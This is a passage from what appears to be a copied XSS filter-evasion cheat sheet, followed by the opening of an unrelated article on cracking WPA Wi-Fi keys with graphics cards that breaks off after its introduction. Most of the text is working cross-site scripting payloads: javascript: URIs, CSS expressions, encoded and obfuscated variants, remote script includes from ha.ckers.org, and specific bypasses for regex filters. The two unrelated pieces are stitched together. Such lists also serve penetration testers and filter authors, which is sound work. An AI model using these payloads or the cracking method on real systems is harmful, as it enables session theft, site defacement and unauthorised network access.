function)<br /> 82. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)<br /> 83. onSelect() (user needs to select some text – attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);)<br /> 84. onSelectionChange() (user needs to select some text – attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);)<br /> 85. onSelectStart() (user needs to select some text – attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);)<br /> 86. onStart() (fires at the beginning of each marquee loop)<br /> 87. onStop() (user would need to press the stop button or leave the webpage)<br /> 88. onSyncRestored() (user interrupts the element’s ability to play its media as defined by the timeline to fire)<br /> 89. onSubmit() (requires attacker or user submits a form)<br /> 90. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)<br /> 91. onTrackChange() (user or attacker changes track in a playList)<br /> 92. onUnload() (as the user clicks any link or presses the back button or attacker forces a click)<br /> 93. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)<br /> 94. seekSegmentTime() (this is a method that locates the specified point on the element’s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)<br />

IMG Dynsrc:

<IMG DYNSRC=”javascript:alert(‘XSS’)”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

IMG lowsrc:

<IMG LOWSRC=”javascript:alert(‘XSS’)”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

BGSOUND:

<BGSOUND SRC=”javascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

& JavaScript includes (works in Netscape 4.x):

<BR SIZE=”&{alert(‘XSS’)}”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0] [NS4]

LAYER (also only works in Netscape 4.x)

<LAYER SRC=”http://ha.ckers.org/scriptlet.html”></LAYER>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0] [NS4]

STYLE sheet:

<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE (which will cause an infite loop) and Netscape 8.1+ in IE rendering engine mode. It also works in Firefox but the file must be local – it cannot be included remotely. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won’t work unless there is some content on the page other than the vector itself, so you’ll need to add a single letter to the page to make it work if it’s an otherwise blank page:

<LINK REL=”stylesheet” HREF=”http://ha.ckers.org/xss.css”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world. Again this only works in Firefox if the file is local to the same domain:

<STYLE>@import’http://ha.ckers.org/xss.css’;</STYLE>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Remote style sheet part 3. This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

<META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/xss.css>; REL=stylesheet”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumed that Gecko is safer and therefor is vulnerable to this for the vast majority of sites. This only works if the file is local to the domain:

<STYLE>BODY{-moz-binding:url(“http://ha.ckers.org/xssmoz.xml#xss”)}</STYLE>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Local htc file. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

<XSS STYLE=”behavior: url(xss.htc);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

List-style-image. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

VBscript in an image:

<IMG SRC=a onerror=’vbscript:msgbox(“XSS”)’>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Mocha (older versions of Netscape only):

<IMG SRC=”mocha:[code]">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0] [NS4]

Livescript (older versions of Netscape only):

<IMG SRC="livescript:[code]">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0] [NS4]

US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. I highly suggest anyone interested in alternate encoding issues look at my charsets issues page:

¼script¾alert(¢XSS¢)¼/script¾

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

META (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

META using data: directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

META with additional URL parameter. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

IFRAME (if iframes are allowed there are a lot of other XSS problems as well):

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

FRAME (frames have the same sorts of XSS problems as iframes):

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

TABLE (who would have thought tables were XSS targets... except me, of course):

<TABLE BACKGROUND="javascript:alert('XSS')">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

DIV background-image:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

<DIV STYLE="width: expression(alert('XSS'));">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). This only works in Firefox if the CSS file is local to the domain:

<STYLE>@im\port'ht\tp://ha.c\kers.org/xss-retest.css';</STYLE>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one):

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):

<XSS STYLE="xss:expression(alert('XSS'))">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):

exp/*<A STYLE='no\xss:noxss("*//*");<br /> xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

STYLE tag (Older versions of Netscape only):

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0] [NS4]

STYLE tag using background-image:

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

STYLE tag using background:

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

<!--[if gte IE 4]><br /> <SCRIPT>alert('XSS');</SCRIPT><br /> <![endif]-->

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

<BASE HREF="javascript:alert('XSS');//">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Using an OBJECT tag you can embed XSS directly:

<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info):

<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

You can EMBED SVG which can contain your XSS vector. This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Using ActionScript inside flash can obfuscate your XSS vector:

a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

XML namespace. The htc file must be located on the same server as your XSS vector:

<HTML xmlns:xss><br /> <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><br /> <xss:xss>XSS</xss:xss><br /> </HTML>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]><br /> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):

<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML><br /> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

<XML SRC="xsstest.xml" ID=I></XML><br /> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

<HTML><BODY><br /> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><br /> <?import namespace="t" implementation="#default#time2"><br /> <t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"><br /> </BODY></HTML>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:

<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

<? echo('<SCR)';<br /> echo('IPT>alert("XSS")</SCRIPT>'); ?>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

IMG Embedded commands - this is a way to redirect where your XSS payload lives. It's scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 301 (others work too) to redirect the image back to a command. So a normal <script SRC="http://goodguy.com/whatever.js"></script> could actually be an attack vector to run commands as the user who views the evil JavaScript on normally a good site, that can then be redirected at a later time to a bad site. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

Redirect 302 /xss.js http://badsite.com/xss.js

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

XSS using HTML quote encapsulation:

This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):

IP verses hostname:

<A HREF="http://66.102.7.147/">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

URL encoding:

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Dword encoding (Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):

<A HREF="http://1113982867/">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

<A HREF="h tt p://6&#9;6.000146.0x7.147/">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

<A HREF="//www.google.com/">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.
<A HREF="//google">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:

<A HREF="http://ha.ckers.org@google">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

<A HREF="http://google.com/">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Extra dot for absolute DNS:

<A HREF="http://www.google.com./">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

JavaScript link location:

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x26;#x09;script:" was converted into "java&#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):

<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Character Encoding:

All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):

<<br /> %3C<br /> &lt<br /> &lt;<br /> &LT<br /> &LT;<br /> &#60<br /> &#060<br /> &#0060<br /> &#00060<br /> &#000060<br /> &#0000060<br /> &#60;<br /> &#060;<br /> &#0060;<br /> &#00060;<br /> &#000060;<br /> &#0000060;<br /> &#x3c<br /> &#x03c<br /> &#x003c<br /> &#x0003c<br /> &#x00003c<br /> &#x000003c<br /> &#x3c;<br /> &#x03c;<br /> &#x003c;<br /> &#x0003c;<br /> &#x00003c;<br /> &#x000003c;<br /> &#X3c<br /> &#X03c<br /> &#X003c<br /> &#X0003c<br /> &#X00003c<br /> &#X000003c<br /> &#X3c;<br /> &#X03c;<br /> &#X003c;<br /> &#X0003c;<br /> &#X00003c;<br /> &#X000003c;<br /> &#x3C<br /> &#x03C<br /> &#x003C<br /> &#x0003C<br /> &#x00003C<br /> &#x000003C<br /> &#x3C;<br /> &#x03C;<br /> &#x003C;<br /> &#x0003C;<br /> &#x00003C;<br /> &#x000003C;<br /> &#X3C<br /> &#X03C<br /> &#X003C<br /> &#X0003C<br /> &#X00003C<br /> &#X000003C<br /> &#X3C;<br /> &#X03C;<br /> &#X003C;<br /> &#X0003C;<br /> &#X00003C;<br /> &#X000003C;<br /> \x3c<br /> \x3C<br /> \u003c<br /> \u003C

Character Encoding Calculator

Cracking WPA FAST with video cards

From http://www.i-hacked.com – written by Notlist3d

By now, pretty much everyone has heard that it is easy to hack into WEP protected networks. As we have seen in our Cracking WEP article, it is terribly easy. (There have been advances in cracking WEP since that article was published, it is even easier now) Yeah, WiFi is inherently insecure, but we need it… Right? Well if you ask your local security guy how you can protect your home WiFi network, surely they will come back and say: “WPA or WPA2 cannot be cracked, use it”. They are wrong.

By simply installing a patch to your existing hardware, WPA came in as the “Saving Grace” for wireless networking. It corrected almost every security problem either created or ignored by WEP. However, WPA was not perfect. The method in which WPA initializes its encryption scheme is subject to capture and offline brute force attacks. Consequently, it’s actually easier to crack WPA which uses a weak password than it is to crack WEP. This article will walk you through the process of retreiving and cracking a WPA network key. In this guide I will skim over some of the powerful things that you can do with graphics cards. By focusing on my personal setup, you will see it can be done with limited off the shelf equipment.

